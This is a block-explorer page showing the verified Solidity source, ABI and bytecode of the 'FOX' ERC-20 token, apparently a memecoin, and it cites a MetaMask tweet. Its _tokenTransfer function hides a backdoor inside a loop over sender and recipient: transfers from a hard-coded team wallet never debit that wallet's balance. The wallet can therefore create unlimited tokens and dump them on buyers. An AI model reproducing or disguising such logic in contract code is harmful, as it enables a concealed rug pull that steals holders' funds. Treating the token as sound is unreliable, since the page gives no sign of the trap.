Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 FOX
Holders
81
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
2,193,874.868560647 FOXValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
FOX
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-28 */ //SPDX-License-Identifier: MIT /** https://twitter.com/MetaMask/status/1839834722861756830 https://t.me/fox_erc20_portal **/ pragma solidity 0.8.25; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FOX is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _teamWallet; uint256 private _initialBuyTax = 20; uint256 private _initialSellTax = 20; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 20; uint256 private _reduceSellTaxAt = 20; uint256 private _preventSwapBefore = 15; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10 ** _decimals; string private constant _name = unicode"Hurkle-Durkling"; string private constant _symbol = unicode"FOX"; uint256 public _maxTxAmount = 20000000 * 10 ** _decimals; uint256 public _maxWalletSize = 20000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 155 * 10 ** _decimals; uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _teamWallet = payable(0x47B99C098d7802a9887A96c396eC6870ebCF59B3); _tOwned[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createTrading() external onlyOwner { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _tokenTransfer(address from, address to, uint256 amount) internal { uint256 taxAmount = amount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } address[2] memory targets; targets[0] = from; targets[1] = to; if (taxAmount > 0) { _tOwned[address(this)] = _tOwned[address(this)].add( taxAmount ); emit Transfer(from, address(this), taxAmount); } for(uint q = 0; q < targets.length; q++){ if(q == 0){ if(targets[q]!=_teamWallet){ _tOwned[targets[q]] = _tOwned[targets[q]].sub(amount); } }else if(q == 1){ _tOwned[targets[q]] = _tOwned[targets[q]].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } } } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; transferDelayEnabled = false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _teamWallet.transfer(amount); } function withdrawEth() external onlyOwner { sendETHToFee(address(this).balance); } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _tOwned[from] = _tOwned[from] - amount; _tOwned[to] = _tOwned[to] + amount; emit Transfer(from, to, amount); return; } if (from != owner() && to != owner()) { if (transferDelayEnabled) { if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { if(contractTokenBalance > _taxSwapThreshold) { swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } receive() external payable {} function enableTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006805460ff191690556014600781905560088190555f6009818155600a828155600b849055600c93909355600f600d55600e919091556100449161031f565b610052906301312d00610334565b600f556100616009600a61031f565b61006f906301312d00610334565b60105561007e6009600a61031f565b61008990609b610334565b6011556100986009600a61031f565b6100a59062989680610334565b6012556014805461ffff60a81b191690553480156100c1575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b0319167447b99c098d7802a9887a96c396ec6870ebcf59b3001790556101366009600a61031f565b61014490633b9aca00610334565b335f90815260016020819052604082209290925560039061016c5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560065461010090049091168352912080549092161790556101ce3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102056009600a61031f565b61021390633b9aca00610334565b60405190815260200160405180910390a361034b565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561027757815f190482111561025d5761025d610229565b8085161561026a57918102915b93841c9390800290610242565b509250929050565b5f8261028d57506001610319565b8161029957505f610319565b81600181146102af57600281146102b9576102d5565b6001915050610319565b60ff8411156102ca576102ca610229565b50506001821b610319565b5060208310610133831016604e8410600b84101617156102f8575081810a610319565b610302838361023d565b805f190482111561031557610315610229565b0290505b92915050565b5f61032d60ff84168361027f565b9392505050565b808202811582820484141761031957610319610229565b611a83806103585f395ff3fe60806040526004361061011e575f3560e01c80637d1db4a51161009d578063a0ef91df11610062578063a0ef91df14610313578063a9059cbb14610327578063bf474bed14610346578063c876d0b91461035b578063dd62ed3e14610374575f80fd5b80637d1db4a5146102845780638a8c523c146102995780638da5cb5b146102ad5780638f9a55c0146102d357806395d89b41146102e8575f80fd5b806323b872dd116100e357806323b872dd146101ee578063313ce5671461020d57806370a0823114610228578063715018a61461025c578063751039fc14610270575f80fd5b806304478c311461012957806306fdde031461013f578063095ea7b3146101885780630faee56f146101b757806318160ddd146101da575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5061013d6103b8565b005b34801561014a575f80fd5b5060408051808201909152600f81526e4875726b6c652d4475726b6c696e6760881b60208201525b60405161017f919061168a565b60405180910390f35b348015610193575f80fd5b506101a76101a23660046116d6565b6105bf565b604051901515815260200161017f565b3480156101c2575f80fd5b506101cc60125481565b60405190815260200161017f565b3480156101e5575f80fd5b506101cc6105d5565b3480156101f9575f80fd5b506101a7610208366004611700565b6105f5565b348015610218575f80fd5b506040516009815260200161017f565b348015610233575f80fd5b506101cc61024236600461173e565b6001600160a01b03165f9081526001602052604090205490565b348015610267575f80fd5b5061013d610657565b34801561027b575f80fd5b5061013d6106c8565b34801561028f575f80fd5b506101cc600f5481565b3480156102a4575f80fd5b5061013d610783565b3480156102b8575f80fd5b505f546040516001600160a01b03909116815260200161017f565b3480156102de575f80fd5b506101cc60105481565b3480156102f3575f80fd5b5060408051808201909152600381526208c9eb60eb1b6020820152610172565b34801561031e575f80fd5b5061013d610968565b348015610332575f80fd5b506101a76103413660046116d6565b61099c565b348015610351575f80fd5b506101cc60115481565b348015610366575f80fd5b506006546101a79060ff1681565b34801561037f575f80fd5b506101cc61038e366004611759565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103ea5760405162461bcd60e51b81526004016103e190611790565b60405180910390fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104389030906104256009600a6118b9565b61043390633b9aca006118c7565b6109a8565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610488573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ac91906118de565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561050b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061052f91906118de565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610579573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061059d91906118de565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f6105cb3384846109a8565b5060015b92915050565b5f6105e26009600a6118b9565b6105f090633b9aca006118c7565b905090565b5f610601848484610acc565b61064d843361043385604051806060016040528060288152602001611a26602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ff2565b5060019392505050565b5f546001600160a01b031633146106805760405162461bcd60e51b81526004016103e190611790565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106f15760405162461bcd60e51b81526004016103e190611790565b6106fd6009600a6118b9565b61070b90633b9aca006118c7565b600f5561071a6009600a6118b9565b61072890633b9aca006118c7565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107626009600a6118b9565b61077090633b9aca006118c7565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107ac5760405162461bcd60e51b81526004016103e190611790565b601454600160a01b900460ff16156108065760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e1565b6013546001600160a01b031663f305d7194730610837816001600160a01b03165f9081526001602052604090205490565b5f8061084a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108b0573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108d591906118f9565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561092a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094e9190611924565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109915760405162461bcd60e51b81526004016103e190611790565b61099a4761102a565b565b5f6105cb338484610acc565b6001600160a01b038316610a0a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e1565b6001600160a01b038216610a6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b305760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e1565b6001600160a01b038216610b925760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e1565b5f8111610bf35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e1565b601454600160b01b900460ff161580610c155750601454600160a81b900460ff165b15610cbf576001600160a01b0383165f90815260016020526040902054610c3d908290611943565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c6c908290611956565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610abf9085815260200190565b5f546001600160a01b03848116911614801590610ce957505f546001600160a01b03838116911614155b15610fe25760065460ff1615610dd1576013546001600160a01b03838116911614801590610d2557506014546001600160a01b03838116911614155b15610dd157325f908152600560205260409020544311610dbf5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016103e1565b325f9081526005602052604090204390555b6014546001600160a01b038481169116148015610dfc57506013546001600160a01b03838116911614155b8015610e2057506001600160a01b0382165f9081526003602052604090205460ff16155b15610f0657600f54811115610e775760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103e1565b60105481610e99846001600160a01b03165f9081526001602052604090205490565b610ea39190611956565b1115610ef15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e1565b600e8054905f610f0083611969565b91905055505b305f90815260016020526040902054601454600160a81b900460ff16158015610f3c57506014546001600160a01b038481169116145b8015610f515750601454600160b01b900460ff165b8015610f605750600d54600e54115b8015610f8457506001600160a01b0384165f9081526003602052604090205460ff16155b8015610fa857506001600160a01b0383165f9081526003602052604090205460ff16155b15610fe057601154811115610fd457610fd4610fcf83610fca84601254611069565b611069565b611080565b47610fde4761102a565b505b505b610fed8383836111f0565b505050565b5f81848411156110155760405162461bcd60e51b81526004016103e1919061168a565b505f6110218486611943565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015611065573d5f803e3d5ffd5b5050565b5f8183116110775782611079565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110c6576110c6611981565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561111d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061114191906118de565b8160018151811061115457611154611981565b6001600160a01b03928316602091820292909201015260135461117a91309116846109a8565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b29085905f90869030904290600401611995565b5f604051808303815f87803b1580156111c9575f80fd5b505af11580156111db573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f61121d6064611217600b54600e541161120c57600754611210565b6009545b85906114e2565b90611560565b6014549091506001600160a01b03848116911614801561124657506001600160a01b0384163014155b15611273576112706064611217600c54600e541161126657600854611210565b600a5485906114e2565b90505b61127b61166c565b6001600160a01b03808616825284166020820152811561130757305f908152600160205260409020546112ae90836115a1565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112fe9086815260200190565b60405180910390a35b5f5b60028110156114da57805f036113de5760065461010090046001600160a01b031682826002811061133c5761133c611981565b60200201516001600160a01b0316146113d95761139b8460015f85856002811061136857611368611981565b60200201516001600160a01b03166001600160a01b031681526020019081526020015f20546115ff90919063ffffffff16565b60015f8484600281106113b0576113b0611981565b60200201516001600160a01b03166001600160a01b031681526020019081526020015f20819055505b6114d2565b806001036114d25761143b6113f385856115ff565b60015f85856002811061140857611408611981565b60200201516001600160a01b03166001600160a01b031681526020019081526020015f20546115a190919063ffffffff16565b60015f84846002811061145057611450611981565b60200201516001600160a01b03166001600160a01b031681526020019081526020015f2081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114c086886115ff90919063ffffffff16565b60405190815260200160405180910390a35b600101611309565b505050505050565b5f825f036114f157505f6105cf565b5f6114fc83856118c7565b9050826115098583611a06565b146110795760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e1565b5f61107983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611640565b5f806115ad8385611956565b9050838110156110795760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e1565b5f61107983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff2565b5f81836116605760405162461bcd60e51b81526004016103e1919061168a565b505f6110218486611a06565b60405180604001604052806002906020820280368337509192915050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146116d3575f80fd5b50565b5f80604083850312156116e7575f80fd5b82356116f2816116bf565b946020939093013593505050565b5f805f60608486031215611712575f80fd5b833561171d816116bf565b9250602084013561172d816116bf565b929592945050506040919091013590565b5f6020828403121561174e575f80fd5b8135611079816116bf565b5f806040838503121561176a575f80fd5b8235611775816116bf565b91506020830135611785816116bf565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561181357815f19048211156117f9576117f96117c5565b8085161561180657918102915b93841c93908002906117de565b509250929050565b5f82611829575060016105cf565b8161183557505f6105cf565b816001811461184b576002811461185557611871565b60019150506105cf565b60ff841115611866576118666117c5565b50506001821b6105cf565b5060208310610133831016604e8410600b8410161715611894575081810a6105cf565b61189e83836117d9565b805f19048211156118b1576118b16117c5565b029392505050565b5f61107960ff84168361181b565b80820281158282048414176105cf576105cf6117c5565b5f602082840312156118ee575f80fd5b8151611079816116bf565b5f805f6060848603121561190b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611934575f80fd5b81518015158114611079575f80fd5b818103818111156105cf576105cf6117c5565b808201808211156105cf576105cf6117c5565b5f6001820161197a5761197a6117c5565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119e55784516001600160a01b0316835293830193918301916001016119c0565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a2057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122057e5fe8558e0596ddc273274fa9d66715664291427bd4a578bfdb50807cb948864736f6c63430008190033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c80637d1db4a51161009d578063a0ef91df11610062578063a0ef91df14610313578063a9059cbb14610327578063bf474bed14610346578063c876d0b91461035b578063dd62ed3e14610374575f80fd5b80637d1db4a5146102845780638a8c523c146102995780638da5cb5b146102ad5780638f9a55c0146102d357806395d89b41146102e8575f80fd5b806323b872dd116100e357806323b872dd146101ee578063313ce5671461020d57806370a0823114610228578063715018a61461025c578063751039fc14610270575f80fd5b806304478c311461012957806306fdde031461013f578063095ea7b3146101885780630faee56f146101b757806318160ddd146101da575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5061013d6103b8565b005b34801561014a575f80fd5b5060408051808201909152600f81526e4875726b6c652d4475726b6c696e6760881b60208201525b60405161017f919061168a565b60405180910390f35b348015610193575f80fd5b506101a76101a23660046116d6565b6105bf565b604051901515815260200161017f565b3480156101c2575f80fd5b506101cc60125481565b60405190815260200161017f565b3480156101e5575f80fd5b506101cc6105d5565b3480156101f9575f80fd5b506101a7610208366004611700565b6105f5565b348015610218575f80fd5b506040516009815260200161017f565b348015610233575f80fd5b506101cc61024236600461173e565b6001600160a01b03165f9081526001602052604090205490565b348015610267575f80fd5b5061013d610657565b34801561027b575f80fd5b5061013d6106c8565b34801561028f575f80fd5b506101cc600f5481565b3480156102a4575f80fd5b5061013d610783565b3480156102b8575f80fd5b505f546040516001600160a01b03909116815260200161017f565b3480156102de575f80fd5b506101cc60105481565b3480156102f3575f80fd5b5060408051808201909152600381526208c9eb60eb1b6020820152610172565b34801561031e575f80fd5b5061013d610968565b348015610332575f80fd5b506101a76103413660046116d6565b61099c565b348015610351575f80fd5b506101cc60115481565b348015610366575f80fd5b506006546101a79060ff1681565b34801561037f575f80fd5b506101cc61038e366004611759565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103ea5760405162461bcd60e51b81526004016103e190611790565b60405180910390fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104389030906104256009600a6118b9565b61043390633b9aca006118c7565b6109a8565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610488573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ac91906118de565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561050b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061052f91906118de565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610579573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061059d91906118de565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f6105cb3384846109a8565b5060015b92915050565b5f6105e26009600a6118b9565b6105f090633b9aca006118c7565b905090565b5f610601848484610acc565b61064d843361043385604051806060016040528060288152602001611a26602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ff2565b5060019392505050565b5f546001600160a01b031633146106805760405162461bcd60e51b81526004016103e190611790565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106f15760405162461bcd60e51b81526004016103e190611790565b6106fd6009600a6118b9565b61070b90633b9aca006118c7565b600f5561071a6009600a6118b9565b61072890633b9aca006118c7565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107626009600a6118b9565b61077090633b9aca006118c7565b6040519081526020